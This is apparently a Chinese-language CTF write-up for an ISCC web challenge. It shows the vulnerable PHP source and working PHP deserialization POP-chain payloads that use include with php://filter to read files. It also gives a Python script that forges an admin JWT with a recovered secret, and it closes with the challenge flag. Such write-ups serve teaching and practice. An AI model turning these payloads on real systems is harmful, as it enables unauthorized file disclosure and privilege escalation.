谁动了我的奶酪
简单的反序列化套文件包含套jwt伪造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
|
据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!
<?php
echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";
class Tom{
public $stolenCheese;
public $trap;
public function __construct($file='cheesemap.php'){
$this->stolenCheese = $file;
echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";
}
public function revealCheeseLocation(){
if($this->stolenCheese){
$cheeseGuardKey = "cheesemap.php";
echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));
$this->stolenCheese = str_rot3($cheeseGuardKey);
}
}
public function __toString(){
if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {
echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";
}else{
$this->trap['trap']->stolenCheese;
return "Tom";
}
}
public function stoleCheese(){
$Messages = [
"<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>",
"<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>",
"<h3>Cheese的香味越来越浓,谁在偷吃?</h3>",
"<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",
];
echo $Messages[array_rand($Messages)];
$this->revealCheeseLocation();
}
}
class Jerry{
protected $secretHidingSpot;
public $squeak;
public $shout;
public function searchForCheese($mouseHole){
include($mouseHole);
}
public function __invoke(){
$this->searchForCheese($this->secretHidingSpot);
}
}
class Cheese{
public $flavors;
public $color;
public function __construct(){
$this->flavors = array();
}
public function __get($slice){
$melt = $this->flavors;
return $melt();
}
public function __destruct(){
unserialize($this->color)();
echo "Where is my cheese?";
}
}
if (isset($_GET['cheese_tracker'])) {
unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){
$clue = $_GET["clue"];
$clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);
if (unserialize($clue)){
unserialize($clue)->squeak = "Thief!";
if(unserialize($clue)->shout === unserialize($clue)->squeak)
echo "cheese is hidden in ".$where;
else
echo "OHhhh no!find it yourself!";
}
}
?>
|
题目一看,肯定是利用include读取文件,pop链很简单
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
<?php
class Jerry{
protected $secretHidingSpot="php://filter/convert.base64-encode/resource=cheesemap.php";
public $squeak;
public $shout;
public function searchForCheese($mouseHole){
include($mouseHole);
}
public function __invoke(){
echo "3"."\n";
$this->searchForCheese($this->secretHidingSpot);
}
}
class Cheese{
public $flavors;
public $color;
public function __construct(){
$this->flavors = array();
}
public function __get($slice){
$melt = $this->flavors;
return $melt();
}
public function __destruct(){
unserialize($this->color)();
echo "Where is my cheese?"."\n";
}
}
$a=new Cheese();
$jerry=new Jerry();
$a->color=serialize($jerry);
echo serialize($a);
echo urlencode(serialize($a))."\n";
|
打这个payload没反应,说明可能不是读cheesemap.php。观察到echo “cheese is hidden in “.$where;,说明要读的文件可能就是这个where,那么就先尝试得到where。
1
2
|
要让unserialize($clue)->shout === unserialize($clue)->squeak并且绕过waf其实最简单的就是不给他俩赋值,null=null
原因:unserialize()函数会创建一个新的对象实例,而不会修改原始序列化字符串。也就是说unserialize($clue)->squeak = "Thief!";没有任何作用
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
class Jerry{
public $secretHidingSpot;
public $squeak;
public $shout;
public function searchForCheese($mouseHole){
include($mouseHole);
}
public function __invoke(){
echo "3"."\n";
$this->searchForCheese($this->secretHidingSpot);
}
}
$a=new Jerry();
echo serialize($a);
echo urlencode(serialize($a))."\n";
|
得到flag_of_cheese.php ,然后直接include读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
<?php
class Jerry{
protected $secretHidingSpot="php://filter/convert.base64-encode/resource=flag_of_cheese.php";
public $squeak;
public $shout;
public function searchForCheese($mouseHole){
include($mouseHole);
}
public function __invoke(){
echo "3"."\n";
$this->searchForCheese($this->secretHidingSpot);
}
}
class Cheese{
public $flavors;
public $color;
public function __construct(){
$this->flavors = array();
}
public function __get($slice){
$melt = $this->flavors;
return $melt();
}
public function __destruct(){
unserialize($this->color)();
echo "Where is my cheese?"."\n";
}
}
$a=new Cheese();
$jerry=new Jerry();
$a->color=serialize($jerry);
echo serialize($a);
echo urlencode(serialize($a))."\n";
|
解码得到一半flag和提示
那另一半呢?观察路由,发现次路由是base64编码,解码是cheeseOne,那么猜测有个路由是cheeseTwo的base64编码Y2hlZXNlVHdv。
访问果然没错,只是访问受限,要管理员身份,
然后再查看源码
发现一个base64加密的编码,两次解码得Jerry_Loves_Cheese,不过不知道什么东西,先放一下
抓包看看有什么其它信息,发现一个token
解码知道应该是jwt伪造admin,然后这个密钥,刚好前面得到一串字符,不出意外就是密钥
所以伪造代码就是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
import jwt
import datetime
# 定义标头(Headers)
headers = {
"alg": "HS256", # 指定算法为HS256
"typ": "JWT" # 类型为JWT
}
# 定义有效载体(Payload)
token_dict = {
"role": "admin",
"exp": 1747533847
}
# 密钥
secret = 'Jerry_Loves_Cheese'
jwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)
print("JWT Token:", jwt_token)
|
访问看到
上面提示22得16进制爆破不就是16进制的16,直接厨子异或爆破得到
所以flag是ISCC{ch33se_th!ef_!5_the_0n3_beh!no1_the_w@11s}。知识点不难,就是套